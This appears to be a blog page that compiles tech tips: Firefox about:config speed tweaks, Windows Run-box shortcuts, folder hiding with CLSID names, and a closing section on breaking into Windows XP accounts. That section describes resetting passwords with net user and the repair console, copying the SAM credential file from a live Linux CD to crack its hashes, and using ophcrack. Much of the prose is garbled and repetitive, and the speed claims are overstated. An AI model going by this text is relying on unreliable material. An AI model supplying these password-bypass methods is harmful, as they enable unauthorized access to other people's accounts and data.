How To: Double Your Internet Browsing Speed on Firefox

How To: Double Your Internet Browsing Speed on Firefox

These simple tweaks will make your web browsing with Mozilla Firefox at least twice as fast and it's a pretty simple thing anybody can do. Enjoy and let us know if these steps helped you!

There were tons of hacks out there that Firefox has been covered to death, but we recently took some time to run and a comparison side by side with a pair of identical computers from the store, we were about. What have we done? You can effectively double your Internet speed if you are currently on a broadband connection if you just run a few simple changes. We have a series of three. It is not too much for you, right? Now, let's get started.

Basically, what they found is that Firefox tends to eat plenty of RAM in exchange for faster launching and handling of the browser. It is a steep trade-off, and for those of us with tons of RAM and a broadband connection usually finish up seeing no difference or sometimes, even slower performance than if these restrictions weren't enabled by default. Here's how to take them off and harness the full power of Firefox:



**Reduce the amount of RAM Firefox uses for it’s cache feature**

Try this:

1) Type “about:config” (no quotes) in the address bar in the browser.
2) Find “browser.sessionhistory.max_total_viewers”
3) Set it’s value to “0“;(Zero)

**Increase the Speed in Which Firefox loads pages**

1) Type “about:config” into the address bar and hit Enter. (Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.)

2) Alter the entries as follows:
Set “network.http.pipelining” to “true”
Set “network.http.proxy.pipelining” to “true”
Set “network.http.pipelining.maxrequests” to some number like 10.

This means it will make 10 requests at once.

3) Lastly, right-click anywhere and select New Integer. Name it “nglayout.initialpaint.delay” and set its value to “0“;.(Zero)

This value is the amount of time the browser waits before it acts on information it receives. If you’re using a broadband connection you’ll load pages faster now.

Optionally (for even faster web browsing) here are some more options for your about:config (you might have to create some of these entries by Right Click  New Interger or String

“network.dns.disableIPv6”: set “false”
“content.notify.backoffcount”: set “5”; (Five)
“ui.submenuDelay”: set “0”; (Zero)


**Reduce RAM usage to 10mb when Firefox is minimized**

This little hack will drop Firefox’s RAM usage down to 10 Mb when minimized:

1) Open Firefox and go to the Address Bar. Type in about:config and then press Enter.
2) Right Click in the page and select New  Boolean.
3) In the box that pops up enter “config.trim_on_minimize”. Press Enter.
4) Now select True and then press Enter.
5) Restart Firefox.

These simple tweaks will make your web browsing with Mozilla Firefox at least once as quick  it is a simple thing someone can do. Enjoy  let us know if these steps helped you!

8 hacks to make Firefox ridiculously fast

8 hacks to make Firefox ridiculously fast
Firefox is better than IE in every department for years, and version 3 is faster than ever.

But optimizing the settings right, you can make faster but more than doubled the speed in some situations, for about five minutes of work and cost nothing.Here's what you need to do.
1. Enable pipelining

Browsers are normally polite, sending a request to a server then waiting for a response before continuing. Pipelining is a more aggressive method that lets them send multiple requests before any responses are received, often reducing page download times. To enable it, type about:config in the address bar, click double-click network.http.pipelining and network.http.proxy.pipelining so their values are set to true, then click double-click network.http.pipelining.maxrequests and set this to 8.



Keep in mind that some servers don't support pipelining, though, & in the event you often visit plenty of these then the tweak can actually reduce performance. Set network.http.pipelining & network.http.proxy.pipelining to false again in the event you have any issues.

2. Render quickly

Large, complex web pages can take a while to download. Firefox doesn't want to keep you waiting, so by default will display what it's received so far every 0.12 seconds (the "content notify interval"). While this helps the browser feel snappy, frequent redraws increase the total page load time, so a longer content notify interval will improve performance.

Type about:config and press [Enter], then right-click (Apple users ctrl-click) somewhere in the window and select New > Integer. Type content.notify.interval as your preference name, click OK, enter 500000 (that's five hundred thousand, not fifty thousand) and click OK again.

Right-click again in the window and select New  Boolean. This time create a value called content.notify.ontimer and set it to True to finish the job.

3. Faster loading

If you haven't moved your mouse or touched the keyboard for 0.75 seconds (the content switch threshold) then Firefox enters a low frequency interrupt mode, which means its interface becomes less responsive but your page loads more quickly. Reducing the content switch threshold can improve performance, then, and it only takes a moment.

Type about:config and press [Enter], right-click in the window and select New Integer. Type content.switch.threshold, click OK, enter 250000 (a quarter of a second) and click OK to finish.

4. No interruptions

You can take the last step even further by telling Firefox to ignore user interface events altogether until the current page has been downloaded. This is a small extreme as Firefox could stay unresponsive for some time, but try this & see the way it works for you.

Type about:config, press [Enter], right-click in the window and select New Boolean. Type content.interrupt.parsing, click OK, set the value to False and click OK.

5. Block Flash
 
Intrusive Flash animations are in every single place, popping up over the content you actually need to read and slowing down your browsing. Fortunately there is a simple solution. Install the Flashblock extension (flashblock.mozdev.org) and it will block all Flash applets from loading, so web pages will display much more quickly. And in case you discover some Flash content that is not entirely useless, click its placeholder to download and view the applet as normal.
6. Increase the cache size

As you browse the world wide web so Firefox stores site images & scripts in a local memory cache, where they can be speedily retrieved in case you revisit the same page. In case you have plenty of RAM (2 GB of more), leave Firefox walking on a regular basis & regularly return to pages then you can improve performance by increasing this cache size. Type about:config & press [Enter], then right-click anywhere in the window & pick New Integer. Type browser.cache.memory.capacity, click OK, enter 65536 & click OK, then restart your browser to get the new, larger cache.

7. Enable TraceMonkey

TraceMonkey is a new Firefox feature that converts slow javascript in to super-speedy x86 code, and so lets it run some functions anything up to 20 times faster than the current version. It is still buggy so is not obtainable in the regular Firefox download yet, but if you are willing to risk the odd crash or two then there is an simple way to try it out.

Install the latest nightly build (ftp://ftp.mozilla.org/pub/firefox/nightly/latest-trunk/), launch it, type about:config in the address bar and press Enter. Type JIT in the filter box, then double-click javascript.options.jit.chrome and javascript.options.jit.content to change their values to true, and that is it - you are walking the quickest Firefox javascript engine ever.
8. Compress data

If you have a slow web connection then it may feel like you'll never get Firefox to perform properly, but that is not necessarily true. Install toonel.net (toonel.net) & this smart Java applet will re-route your web traffic through its own server, compressing it simultaneously, so there is much less to download. & it may even compress JPEGs by allowing you to reduce their quality. This all helps to cut your information transfer, useful if you are on a limited 1 GB-per-month account, & can at best double your browsing performance.

These simple tweaks will make your web browsing with Mozilla Firefox at least once as quick  it is a simple thing someone can do. Enjoy  let us know if these steps helped you!

Windows Run commands you probably never knew

Windows Run commands you probably never knew
Run Windows Box is a very useful tool for launching programs and applications quickly. There are over a hundred run commands that let you launch all sorts of built in Windows applications like control panel modules, and system tools Disk Defragmenter, Device Manager, Group Policy Editor, etc. Most of these commands are well documented – you will find plenty of run command lists on the web, published and republished countless number of times. But I'm sure you will never find these commands in one of these lists.


**Trick 1: Open your home directory**

The home directory is located at C:\Documents and Settings\Username in Windows XP and C:\Users\Username in Windows Vista and 7. The quickest way to open this directory is to open the Run box (Win+R) and type “.” – a single dot. Then hit enter. Try it.

Windows Run commands you probably never knew

**Trick 2: Open the users directory**

The users directory is the directory one folder above the home directory, i.e. C:\Documents and Settings in Windows XP and C:\Users in Windows Vista and 7. To open this directory, type 2 dots in the Run box and hit enter.

Windows Run commands you probably never knew

**Trick 3: Open My Computer**

To quickly open My Computer, open the Run box and type 3 dots, like this.

Windows Run commands you probably never knew

**Trick 4: Open system drive**

The system drive is the one where Windows is installed, usually the C drive. To open this drive through the Run box type “\” – the backslash.

Convert any Folder into almost anything.

Convert any Folder into almost anything.

This is done by adding the registry keys to the folder name. Then,After this when you double-click on the folder, both in the Control Panel, My Computer, Recycle Bin, or Internet Explorer to open your selections. In fact leading the Windows folder, then one of these four. Folder will remain unchanged with all the information, and no one can access this folder through Windows. Can only be accessed via the command prompt or some third party app


**To Convert Folder Into Contol Panel, Rename With Adding**
   
 .{21EC2020-3AEA-1069-A2DD-08002B30309D}


   ** To Convert Folder Into Recycle Bin, Rename With Adding**
   
 .{645FF040-5081-101B-9F08-00AA002F954E}


**To Convert Folder Into My Computer, Rename With Adding**

.{20D04FE0-3AEA-1069-A2D8-08002B30309D}


**To Convert Folder Into Internet Explorer, Rename With Adding**

.{871C5380-42A0-1069-A2EA-08002B30309D}

Eg:- If you have a folder XYZ, to convert it into Control Panel, rename the folder as
XYZ.{21EC2020-3AEA-1069-A2DD-08002B30309D} After this, the key should disappear and act as an attribute. And if it doesn’t, then also no problem, as the folder will start working the way you want it to.

To re-enable your folder to be accessible via Windows, go to command prompt and rename the folder there. Eg:- If the folder is in C:Temp\XYZ, then get to C:Temp in the command prompt and type:
ren ABC.{21EC2020-3AEA-1069-A2DD-08002B30309D} ABC

(Command Prompt supports CLIPBOARD. Copy-Paste will work there.)
 
Your folder will return to normal state.
 
This technique can be used to protect any data,Picture,Vidio,Audio,etc but it won't provide reliable security to the data.
 
You can also search the registry for more relevant keys like these.

Breaking In Windows XP Password

Breaking In Windows XP Password

Method 1:

If you have an administrator account (and not the client Or Guest)

then XP user’passwords can be retrieved (reset) using the command prompt. 
 
Go to  Start Menu, click Run, and the position of the dialog box type“command”, press enter.
Now In the Command prompt type “net user”

the screen will display the list of available users on the computer

suppose there are six administrator users with the name of admin1, admin2, admin3, admin4, admin5, and admin6.

then the password of any user can be changed by logging into the account of any one administrator

for example if we want to change the password of admin2

then we can change it from the following command


net user admin2 password

similarly for other desired users

The general syntax is for changing password is

net user

Limitations: The method above works only if you are logged in as an administrator user account.

Method 2:

Windows Recovery option,

Boot from the Windows XP CD and press ENTER when prompted to install Windows back on the next screen is a repair existing version of Windows. This method is also known as Windows Recovery,

The repair option will take as much time as the installation would have taken because the Windows file-system is replaced including the SAM file where the password is stored.

C:WindowsSystem32configsam

whereas the users’ setting remain untouched.

Thus the users’ password is reset to NULL value.

#In repair mode you have another hole to modify the password.It is easier.The steps are as following.

Boot from xp bootable.After license agreement is done(pressing f8) select the target window for repair.

After file copy completed machine will restart.And repair process will start.You will see ‘installing devices’ 39 minutes left etc. at bottom left of your screen.

Now press Shift+f10.A console(command window) will open.

type nusrmgr.cpl and hit enter.This will let you to enter in the user account setting.Now change the password.You will not be asked for old password. Just type the new password there.

Continue process.It repair is highly recommended to continue until the repair is completed.

That's it, you are done. the password is replaced.The password strength does not matter in this case.

Method 3:

Boot your computer from a live Linux CD or DVD which has an NTFS/HPFS file-system support.

Then Mount the drive which has Windows copy installed on it. Copy the sam file on the location

C:WindowsSystem32configsam

Which will be mentioned as /media/disk-1/Windows/System32/config/sam

It is a common misconception that the SAM can be seen through normal text editor, Sam file is not a normal text file.

Gnome, KDE or vim text Editors won’t display the content of this file

Open the file using Emacs Editor (available in all the distributions of Live Linux). It will be hard to find the the password hashes, so go for the user-names which are not encrypted, after the user-names passwords’ hashes can be discovered, copy the code between “%” sign & on the the Google search for the rainbow tables, They will provide the decrypted value which have already been brute-forced earlier. This is isn’t a definite shot method, as the rainbow project is still under development. The password can be set to NULL by deleting the content, but this might lead to the corruption of the sam file, & recovery is the only option left after it.

Limitations: This method can damage the SAM file, which may lead to a repair of Windows XP, and you can risk your personal data with that.

Method 4:

OPHcrack method.

This is a sure shot password recovery method based upon bruteforcing.

This Live CD is based on the slax LiveCD v.5.1.7. It's been custom-made to include ophcrack 2.3.3 & the SSTIC04-10k tables set. It can crack 99.9%% of alphanumeric passwords. Since the tables must be loaded in to memory, cracking time varies with the amount of obtainable RAM. The maximum amount of RAM necessary is 256MB (because the LiveCD makes use of lots of it). The recommended amount is 512MB. Ophcrack will auto-detect the amout of free memory & adapts its behaviour to be able to preload all the tables it can.

A shell script launched at the beginning of the X session(Session for managing your desktop) does the job of finding the Windows partition & beginning appropriate programs to extract & crack password hashes. It will look for all partitions that contains hashes. If over one are found, you will must pick between them.

If your partition is not detected, make positive your the partition containing the hashes you require to crack is mounted & the use ophcrack ‘Load from encrypted SAM’ function to recover your Windows hashes. Then click ‘Launch’ & the cracking method will start.
